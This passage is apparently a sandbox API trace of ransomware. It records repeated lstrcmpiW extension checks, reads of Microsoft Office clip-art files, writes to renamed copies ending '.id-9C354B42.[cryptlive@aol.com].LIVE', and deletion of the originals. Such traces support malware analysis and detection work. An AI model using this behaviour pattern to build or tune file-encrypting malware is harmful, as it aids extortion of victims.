(lpString=".ppt") returned 4 [0149.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.411] lstrlenW (lpString=".zip") returned 4 [0149.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.411] lstrlenW (lpString=".rar") returned 4 [0149.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".bz2") returned 4 [0149.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".7z") returned 3 [0149.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.412] lstrlenW (lpString=".dbf") returned 4 [0149.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.412] lstrlenW (lpString=".1cd") returned 4 [0149.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.412] lstrlenW (lpString=".jpg") returned 4 [0149.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.412] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.412] lstrlenW (lpString="J0099184.WMF") returned 12 [0149.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.413] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4118) returned 1 [0149.413] CloseHandle (hObject=0x3d4) returned 1 [0149.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0149.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.414] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.414] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.414] GetLastError () returned 0x0 [0149.415] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1016, lpOverlapped=0x0) returned 1 [0149.416] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1020, lpOverlapped=0x0) returned 1 [0149.417] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.417] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.417] SetEndOfFile (hFile=0x3a8) returned 1 [0149.418] CloseHandle (hObject=0x3a8) returned 1 [0149.418] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.418] SetEndOfFile (hFile=0x3d4) returned 1 [0149.420] CloseHandle (hObject=0x3d4) returned 1 [0149.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.422] lstrlenW (lpString=".doc") returned 4 [0149.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.422] lstrlenW (lpString=".docx") returned 5 [0149.422] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.422] lstrlenW (lpString=".pdf") returned 4 [0149.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.422] lstrlenW (lpString=".xls") returned 4 [0149.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.423] lstrlenW (lpString=".xlsx") returned 5 [0149.423] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.423] lstrlenW (lpString=".ppt") returned 4 [0149.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString=".zip") returned 4 [0149.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.423] lstrlenW (lpString=".rar") returned 4 [0149.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString=".bz2") returned 4 [0149.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString=".7z") returned 3 [0149.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString=".dbf") returned 4 [0149.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString=".1cd") returned 4 [0149.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString=".jpg") returned 4 [0149.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.423] lstrlenW (lpString=".doc") returned 4 [0149.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString=".docx") returned 5 [0149.423] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0149.423] lstrlenW (lpString=".pdf") returned 4 [0149.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.423] lstrlenW (lpString=".xls") returned 4 [0149.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.423] lstrlenW (lpString=".xlsx") returned 5 [0149.423] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0149.423] lstrlenW (lpString=".ppt") returned 4 [0149.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.424] lstrlenW (lpString=".zip") returned 4 [0149.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.424] lstrlenW (lpString=".rar") returned 4 [0149.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".bz2") returned 4 [0149.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString=".7z") returned 3 [0149.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.424] lstrlenW (lpString=".dbf") returned 4 [0149.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.424] lstrlenW (lpString=".1cd") returned 4 [0149.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned 63 [0149.424] lstrlenW (lpString=".jpg") returned 4 [0149.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.424] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.424] lstrlenW (lpString="J0099185.JPG") returned 12 [0149.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.425] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3282) returned 1 [0149.425] CloseHandle (hObject=0x3d4) returned 1 [0149.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0149.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.425] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.425] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.426] GetLastError () returned 0x0 [0149.426] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xcd2, lpOverlapped=0x0) returned 1 [0149.428] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xce0, lpOverlapped=0x0) returned 1 [0149.429] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.429] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.429] SetEndOfFile (hFile=0x3a8) returned 1 [0149.429] CloseHandle (hObject=0x3a8) returned 1 [0149.429] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.429] SetEndOfFile (hFile=0x3d4) returned 1 [0149.431] CloseHandle (hObject=0x3d4) returned 1 [0149.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0149.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.432] lstrlenW (lpString=".doc") returned 4 [0149.432] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.432] lstrlenW (lpString=".docx") returned 5 [0149.432] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0149.432] lstrlenW (lpString=".pdf") returned 4 [0149.432] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.432] lstrlenW (lpString=".xls") returned 4 [0149.432] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.432] lstrlenW (lpString=".xlsx") returned 5 [0149.432] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0149.432] lstrlenW (lpString=".ppt") returned 4 [0149.433] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".zip") returned 4 [0149.433] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString=".rar") returned 4 [0149.433] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString=".bz2") returned 4 [0149.433] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.433] lstrlenW (lpString=".7z") returned 3 [0149.433] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".dbf") returned 4 [0149.433] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".1cd") returned 4 [0149.433] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".jpg") returned 4 [0149.433] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".doc") returned 4 [0149.433] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.433] lstrlenW (lpString=".docx") returned 5 [0149.433] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0149.433] lstrlenW (lpString=".pdf") returned 4 [0149.433] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString=".xls") returned 4 [0149.433] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString=".xlsx") returned 5 [0149.433] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0149.433] lstrlenW (lpString=".ppt") returned 4 [0149.433] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.433] lstrlenW (lpString=".zip") returned 4 [0149.433] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.434] lstrlenW (lpString=".rar") returned 4 [0149.434] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.434] lstrlenW (lpString=".bz2") returned 4 [0149.434] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.434] lstrlenW (lpString=".7z") returned 3 [0149.434] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.434] lstrlenW (lpString=".dbf") returned 4 [0149.434] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.434] lstrlenW (lpString=".1cd") returned 4 [0149.434] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63 [0149.434] lstrlenW (lpString=".jpg") returned 4 [0149.434] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.434] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0149.434] lstrlenW (lpString="J0099186.JPG") returned 12 [0149.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.435] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=16738) returned 1 [0149.435] CloseHandle (hObject=0x3d4) returned 1 [0149.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 0x20 [0149.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.435] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.435] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.436] GetLastError () returned 0x0 [0149.436] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4162, lpOverlapped=0x0) returned 1 [0149.694] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4170, lpOverlapped=0x0) returned 1 [0149.696] ReadFile (in: hFile=0x3d4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.696] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.696] SetEndOfFile (hFile=0x3a8) returned 1 [0149.696] CloseHandle (hObject=0x3a8) returned 1 [0149.697] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.697] SetEndOfFile (hFile=0x3d4) returned 1 [0149.700] CloseHandle (hObject=0x3d4) returned 1 [0149.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0149.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.701] lstrlenW (lpString=".doc") returned 4 [0149.702] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.702] lstrlenW (lpString=".docx") returned 5 [0149.702] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.702] lstrlenW (lpString=".pdf") returned 4 [0149.702] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.702] lstrlenW (lpString=".xls") returned 4 [0149.702] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.702] lstrlenW (lpString=".xlsx") returned 5 [0149.702] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.702] lstrlenW (lpString=".ppt") returned 4 [0149.702] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.702] lstrlenW (lpString=".zip") returned 4 [0149.702] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.702] lstrlenW (lpString=".rar") returned 4 [0149.702] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.702] lstrlenW (lpString=".bz2") returned 4 [0149.702] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.702] lstrlenW (lpString=".7z") returned 3 [0149.702] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.702] lstrlenW (lpString=".dbf") returned 4 [0149.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.702] lstrlenW (lpString=".1cd") returned 4 [0149.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.702] lstrlenW (lpString=".jpg") returned 4 [0149.703] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.703] lstrlenW (lpString=".doc") returned 4 [0149.703] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.703] lstrlenW (lpString=".docx") returned 5 [0149.703] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.703] lstrlenW (lpString=".pdf") returned 4 [0149.703] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.703] lstrlenW (lpString=".xls") returned 4 [0149.703] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.703] lstrlenW (lpString=".xlsx") returned 5 [0149.703] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.703] lstrlenW (lpString=".ppt") returned 4 [0149.703] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0149.703] lstrlenW (lpString=".zip") returned 4 [0149.703] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.703] lstrlenW (lpString=".rar") returned 4 [0149.703] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.703] lstrlenW (lpString=".bz2") returned 4 [0149.703] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.703] lstrlenW (lpString=".7z") returned 3 [0149.703] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.703] lstrlenW (lpString="C:\\Program Files\\Microsoft 